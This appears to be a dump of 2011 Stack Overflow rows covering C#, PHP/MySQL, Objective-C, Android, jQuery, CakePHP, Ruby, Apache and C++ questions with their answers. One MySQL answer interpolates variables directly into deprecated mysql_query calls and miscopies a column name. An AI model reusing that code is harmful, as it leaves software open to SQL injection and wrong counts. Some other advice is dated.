I am trying to make my first generic repository. I am starting with the real simple ones but I am unsure how to hook it all up to ninject and use it through constructor injection. public class NhibernateRepo: INhibernateRepo { privat... | [
"c#",
"nhibernate",
"generics",
"ninject",
"ninject-2"
] | 0 | 2 | 1,016 | 1 | 0 | 2011-06-05T21:01:36.857000 | 2011-06-05T21:54:05.707000 |
6,245,848 | 6,245,889 | MySQL rows are not being updated upon deletion | I am deleting a row (user) from the table Accounts and I am trying to set the values "Following Count" and "Follower Count" to their value with one subtracted. But for some reason that does not happen. The account deletes successfully, but the decrement doesn't happen. Please can you tell me what I am doing wrong: $que... | Why not simply do mysql_query("UPDATE Accounts SET `Following Count` = (`Following Count` - 1) WHERE `id` = '$followingUserID'");
mysql_query("UPDATE Accounts SET `Follower Count` = (`Following Count` - 1) WHERE `id` = '$followedUserID'"); this way you wont need the 2 selects. | MySQL rows are not being updated upon deletion I am deleting a row (user) from the table Accounts and I am trying to set the values "Following Count" and "Follower Count" to their value with one subtracted. But for some reason that does not happen. The account deletes successfully, but the decrement doesn't happen. Ple... | TITLE:
MySQL rows are not being updated upon deletion
QUESTION:
I am deleting a row (user) from the table Accounts and I am trying to set the values "Following Count" and "Follower Count" to their value with one subtracted. But for some reason that does not happen. The account deletes successfully, but the decrement d... | [
"php",
"mysql"
] | 0 | 3 | 120 | 1 | 0 | 2011-06-05T21:03:28.197000 | 2011-06-05T21:09:44.803000 |
6,245,855 | 6,246,672 | Quick Question About NSFetchRequest and Relationship | In my Core Data model, I have an entity Session and Exercise. Session has a to many relationship to Exercise (there is a one-one inverse relationship as well). In my fetch, I am trying to find all Session object that are related to the current Exercise. I am using the following code which isn't working. NSFetchRequest ... | First, from the screenshot it seems that your relationship attribute of the Session entity is called exercises not exercise. Also, it seems to me that it would work if you searched not the Session entity but the Exercise entity and then iterate through the resulting array to extract the sessions. [fetchRequest setPredi... | Quick Question About NSFetchRequest and Relationship In my Core Data model, I have an entity Session and Exercise. Session has a to many relationship to Exercise (there is a one-one inverse relationship as well). In my fetch, I am trying to find all Session object that are related to the current Exercise. I am using th... | TITLE:
Quick Question About NSFetchRequest and Relationship
QUESTION:
In my Core Data model, I have an entity Session and Exercise. Session has a to many relationship to Exercise (there is a one-one inverse relationship as well). In my fetch, I am trying to find all Session object that are related to the current Exerc... | [
"iphone",
"objective-c",
"xcode",
"nsfetchedresultscontroller"
] | 0 | 0 | 495 | 2 | 0 | 2011-06-05T21:04:16.823000 | 2011-06-05T23:40:47.740000 |
6,245,858 | 6,245,900 | Android Market and APK file name | Does it matter what I name the final.apk file that I will be uploading to the android market? Can the user see the name of the file? | No, name of.apk file is ignored and user will not be able to see it. You can name.apk in whatever way is convenient for you. Android Market only parses the internals of.apk files and extracts all the information it needs. Also, when.apk is installed on the device it named as -#.apk. For example: com.google.zxing.client... | Android Market and APK file name Does it matter what I name the final.apk file that I will be uploading to the android market? Can the user see the name of the file? | TITLE:
Android Market and APK file name
QUESTION:
Does it matter what I name the final.apk file that I will be uploading to the android market? Can the user see the name of the file?
ANSWER:
No, name of.apk file is ignored and user will not be able to see it. You can name.apk in whatever way is convenient for you. An... | [
"android",
"google-play",
"apk"
] | 14 | 19 | 8,384 | 2 | 0 | 2011-06-05T21:04:28.283000 | 2011-06-05T21:11:17.207000 |
6,245,859 | 6,245,873 | dropbox login popup method in jQuery? | I know it's probably jQuery, I just can't figure out how to do it. How do you get the login inputs to appear like that when you select login? dropbox website Can someone give me possibly some demo code that they have describing the process? All i can think of is setting a div hidden and than showing it, am I wrong? | you are right. And this is basically the only thing that happens. I would do it on hover not on click. Its just a wasted click... and in this case you don't need any jQuery to do this. Just hide the loginform and show it on hover. Here is a demo: http://jsfiddle.net/sXmAe/ if you really want it to happen on click, chan... | dropbox login popup method in jQuery? I know it's probably jQuery, I just can't figure out how to do it. How do you get the login inputs to appear like that when you select login? dropbox website Can someone give me possibly some demo code that they have describing the process? All i can think of is setting a div hidde... | TITLE:
dropbox login popup method in jQuery?
QUESTION:
I know it's probably jQuery, I just can't figure out how to do it. How do you get the login inputs to appear like that when you select login? dropbox website Can someone give me possibly some demo code that they have describing the process? All i can think of is s... | [
"javascript",
"jquery"
] | 0 | 2 | 1,986 | 1 | 0 | 2011-06-05T21:04:34.420000 | 2011-06-05T21:07:36.060000 |
6,245,865 | 6,283,349 | Cakephp 1.3 url rewriting | I have my cakephp 1.3 console installed on hostgator server using SSH. I baked an app and everything seems to be working fine, but when I go to the app http://www.domain.com/app everything is green except for the second one which states: URL rewriting is not properly configured on your server. 1. Help me configure it 2... | The conditional check isn't in the code in /cake/libs/views/pages/home.ctp - this was a bug or oversight in the recent release. If you copy that file to your /app/views/pages/home.ctp you can easily enough edit the block that makes that check out of the default homepage. Or better yet, you can simply create your own cu... | Cakephp 1.3 url rewriting I have my cakephp 1.3 console installed on hostgator server using SSH. I baked an app and everything seems to be working fine, but when I go to the app http://www.domain.com/app everything is green except for the second one which states: URL rewriting is not properly configured on your server.... | TITLE:
Cakephp 1.3 url rewriting
QUESTION:
I have my cakephp 1.3 console installed on hostgator server using SSH. I baked an app and everything seems to be working fine, but when I go to the app http://www.domain.com/app everything is green except for the second one which states: URL rewriting is not properly configur... | [
"cakephp",
"url-rewriting",
"cakephp-1.3",
"pretty-urls"
] | 2 | 2 | 4,322 | 1 | 0 | 2011-06-05T21:05:42.050000 | 2011-06-08T18:19:05.027000 |
6,245,871 | 6,245,910 | MySQL insert with mbox format | Maybe it's my query, but I don't think so. I'm attempting to import messages parsed from an mbox format into MySQL, but MySQL fails when I do it through PHP or manually through phpMyAdmin. Any thoughts? $sql='INSERT INTO `listserv_mbox` ("message-id", "mbox") VALUES ("'.mysql_real_escape_string($structure->headers['mes... | INSERT INTO `listserv_mbox` ("message-id", "mbox" That should be INSERT INTO `listserv_mbox` (`message-id`, `mbox` ` instead of " | MySQL insert with mbox format Maybe it's my query, but I don't think so. I'm attempting to import messages parsed from an mbox format into MySQL, but MySQL fails when I do it through PHP or manually through phpMyAdmin. Any thoughts? $sql='INSERT INTO `listserv_mbox` ("message-id", "mbox") VALUES ("'.mysql_real_escape_s... | TITLE:
MySQL insert with mbox format
QUESTION:
Maybe it's my query, but I don't think so. I'm attempting to import messages parsed from an mbox format into MySQL, but MySQL fails when I do it through PHP or manually through phpMyAdmin. Any thoughts? $sql='INSERT INTO `listserv_mbox` ("message-id", "mbox") VALUES ("'.m... | [
"php",
"mysql"
] | 1 | 2 | 625 | 2 | 0 | 2011-06-05T21:07:06.537000 | 2011-06-05T21:13:31.060000 |
6,245,880 | 6,246,006 | I want to create a mobile website in addition to native apps using phonegap. Is it sensible to use the same codebase? | I want to have a mobile-friendly website, in addition to a native app for iphone/android using phonegap. I'm currently using PHP (specifically CodeIgniter but that's not as important) and jQuery for the mobile website. I'm thinking that the website and the phonegap codebase can use the same PHP back-end for server requ... | Where I work, we developed our mobile website and Android App with the same codebase except for the views and UI. Everything on the web side is in pure JS and HTML. We have a sever side API that we request data from and then template it using Mustache. We used Titanium for the Android App, but found that framework to h... | I want to create a mobile website in addition to native apps using phonegap. Is it sensible to use the same codebase? I want to have a mobile-friendly website, in addition to a native app for iphone/android using phonegap. I'm currently using PHP (specifically CodeIgniter but that's not as important) and jQuery for the... | TITLE:
I want to create a mobile website in addition to native apps using phonegap. Is it sensible to use the same codebase?
QUESTION:
I want to have a mobile-friendly website, in addition to a native app for iphone/android using phonegap. I'm currently using PHP (specifically CodeIgniter but that's not as important) ... | [
"php",
"jquery",
"cordova"
] | 3 | 4 | 841 | 1 | 0 | 2011-06-05T21:08:38.813000 | 2011-06-05T21:32:19.383000 |
6,245,884 | 6,255,212 | How do I wrap untagged text elements using Nokogiri? | For example I have a html string: 1172 case primary_key_prefix_type How to wrap every element which doesn't have tag by Nokogiri like this: 1172 case primary_key_prefix_type | This doesn't feel like the most elegant solution, but it works: require 'nokogiri'
# Given a node, find each whitespace-delimited word # and wrap it in the supplied markup def wrap_text( node, wrapper=' ' ) wrapper = Nokogiri::XML::DocumentFragment.parse(wrapper).children.first node.xpath('child::text()').each do |tex... | How do I wrap untagged text elements using Nokogiri? For example I have a html string: 1172 case primary_key_prefix_type How to wrap every element which doesn't have tag by Nokogiri like this: 1172 case primary_key_prefix_type | TITLE:
How do I wrap untagged text elements using Nokogiri?
QUESTION:
For example I have a html string: 1172 case primary_key_prefix_type How to wrap every element which doesn't have tag by Nokogiri like this: 1172 case primary_key_prefix_type
ANSWER:
This doesn't feel like the most elegant solution, but it works: re... | [
"ruby",
"nokogiri"
] | 1 | 1 | 862 | 1 | 0 | 2011-06-05T21:09:18.057000 | 2011-06-06T16:39:09.307000 |
6,245,887 | 6,245,936 | String to System.Windows.Input.Key | I need a function that takes a String as an argument, and returns a System.Windows.Input.Key. E.G: var x = StringToKey("enter"); // Returns Key.Enter var y = StringToKey("a"); // Returns Key.A Is there any way to do this other than if/else's or switch statements? | Take a look at KeyConverter, it can convert a Key to and from a string. KeyConverter k = new KeyConverter(); Key mykey = (Key)k.ConvertFromString("Enter"); if (mykey == Key.Enter) { Text = "Enter Key Found"; } | String to System.Windows.Input.Key I need a function that takes a String as an argument, and returns a System.Windows.Input.Key. E.G: var x = StringToKey("enter"); // Returns Key.Enter var y = StringToKey("a"); // Returns Key.A Is there any way to do this other than if/else's or switch statements? | TITLE:
String to System.Windows.Input.Key
QUESTION:
I need a function that takes a String as an argument, and returns a System.Windows.Input.Key. E.G: var x = StringToKey("enter"); // Returns Key.Enter var y = StringToKey("a"); // Returns Key.A Is there any way to do this other than if/else's or switch statements?
AN... | [
"c#"
] | 6 | 20 | 9,672 | 3 | 0 | 2011-06-05T21:09:25.370000 | 2011-06-05T21:18:32.213000 |
6,245,895 | 6,245,911 | apache2 on ubuntu - php files downloading | On my new Ubuntu system, I've managed to get Apache2 up and running for developing my ZendFramework Web Applications... I've got my available-sites config working correctly because I am able to request localhost and it servers up the correct index.html from my specified directory. Problem: if I request index.php, firef... | If Firefox downloads your PHP files it means that your server doesn't have PHP or the Apache PHP module installed. Have you installed the Apache PHP module? If not then install it by typing this into a terminal: sudo apt-get install libapache2-mod-php5 And if yes, do you have your index.php located in /var/www/? Make s... | apache2 on ubuntu - php files downloading On my new Ubuntu system, I've managed to get Apache2 up and running for developing my ZendFramework Web Applications... I've got my available-sites config working correctly because I am able to request localhost and it servers up the correct index.html from my specified directo... | TITLE:
apache2 on ubuntu - php files downloading
QUESTION:
On my new Ubuntu system, I've managed to get Apache2 up and running for developing my ZendFramework Web Applications... I've got my available-sites config working correctly because I am able to request localhost and it servers up the correct index.html from my... | [
"php",
"apache",
"ubuntu"
] | 37 | 68 | 66,965 | 6 | 0 | 2011-06-05T21:10:25.297000 | 2011-06-05T21:13:55.827000 |
6,245,909 | 6,245,923 | is there a javascript website/wiki/reference corner where we can see which browsers support *selected-function*? | does anyone know of any javascript website/wiki/reference where we can see which browsers support selected-function? I mean I often go to MDC to get the api and stuff like that but usually beside the API they do not write the supported browsers.. so basically often I have to test it myself and see if say the MouseEvent... | You might try PPK's Quirksmode Master Compatibility Chart for starters. The links on the left of that main chart lead off to more specific charts. The site is kept up to date, and also has lots of information about mobile browsers. | is there a javascript website/wiki/reference corner where we can see which browsers support *selected-function*? does anyone know of any javascript website/wiki/reference where we can see which browsers support selected-function? I mean I often go to MDC to get the api and stuff like that but usually beside the API the... | TITLE:
is there a javascript website/wiki/reference corner where we can see which browsers support *selected-function*?
QUESTION:
does anyone know of any javascript website/wiki/reference where we can see which browsers support selected-function? I mean I often go to MDC to get the api and stuff like that but usually ... | [
"javascript",
"documentation",
"wiki",
"document"
] | 2 | 2 | 89 | 1 | 0 | 2011-06-05T21:13:26.963000 | 2011-06-05T21:15:19.233000 |
6,245,914 | 6,246,011 | problem in displaying text view above a map | I have to display three text views above a map in one of my activities and I have the following xml...but I don't know why I see no text view only my map. Here is my xml file: | That's because you set the height of your MapView to 'fill_parent'. Set to some fixed height just for debugging purposes and you should see your text views - they may not appear above the map, as you want, because you've set the LinearLayout to go below the RelativeLayout and it contains the MapView. Remove the code fr... | problem in displaying text view above a map I have to display three text views above a map in one of my activities and I have the following xml...but I don't know why I see no text view only my map. Here is my xml file: | TITLE:
problem in displaying text view above a map
QUESTION:
I have to display three text views above a map in one of my activities and I have the following xml...but I don't know why I see no text view only my map. Here is my xml file:
ANSWER:
That's because you set the height of your MapView to 'fill_parent'. Set t... | [
"android",
"dictionary",
"textview"
] | 0 | 0 | 846 | 2 | 0 | 2011-06-05T21:14:20.860000 | 2011-06-05T21:33:21.710000 |
6,245,925 | 6,249,761 | "No matching function call" in template function | I keep getting the following error when trying to write a template function: main.cpp|17|error: no matching function for call to ‘dotproduct(vector &, vector &)’| I've searched on the error and found some other cases where a non-type template parameter could prove problematic if the parameter was a float or a double. I... | Names of template parameters may only be used inside the class (or function) template to which the template parameter list corresponds. It makes sense - standard makes no guarantees about template parameter names; they might be different even between two declarations! Consider: template class A;
template class A { };
... | "No matching function call" in template function I keep getting the following error when trying to write a template function: main.cpp|17|error: no matching function for call to ‘dotproduct(vector &, vector &)’| I've searched on the error and found some other cases where a non-type template parameter could prove proble... | TITLE:
"No matching function call" in template function
QUESTION:
I keep getting the following error when trying to write a template function: main.cpp|17|error: no matching function for call to ‘dotproduct(vector &, vector &)’| I've searched on the error and found some other cases where a non-type template parameter ... | [
"templates",
"c++11",
"function-templates"
] | 2 | 3 | 1,420 | 1 | 0 | 2011-06-05T21:15:47.113000 | 2011-06-06T09:05:35.700000 |
6,245,929 | 6,245,946 | Is it ok to use `any?` to check if an array is not empty? | Is it bad to check if an array is not empty by using any? method? a = [1,2,3]
a.any? => true
a.clear
a.any? => false Or is it better to use unless a.empty?? | any? isn't the same as not empty? in some cases. >> [nil, 1].any? => true >> [nil, nil].any? => false From the documentation: If the block is not given, Ruby adds an implicit block of {|obj| obj} (that is any? will return true if at least one of the collection members is not false or nil). | Is it ok to use `any?` to check if an array is not empty? Is it bad to check if an array is not empty by using any? method? a = [1,2,3]
a.any? => true
a.clear
a.any? => false Or is it better to use unless a.empty?? | TITLE:
Is it ok to use `any?` to check if an array is not empty?
QUESTION:
Is it bad to check if an array is not empty by using any? method? a = [1,2,3]
a.any? => true
a.clear
a.any? => false Or is it better to use unless a.empty??
ANSWER:
any? isn't the same as not empty? in some cases. >> [nil, 1].any? => true >... | [
"ruby",
"arrays"
] | 220 | 276 | 298,442 | 6 | 0 | 2011-06-05T21:16:46.177000 | 2011-06-05T21:21:03.320000 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.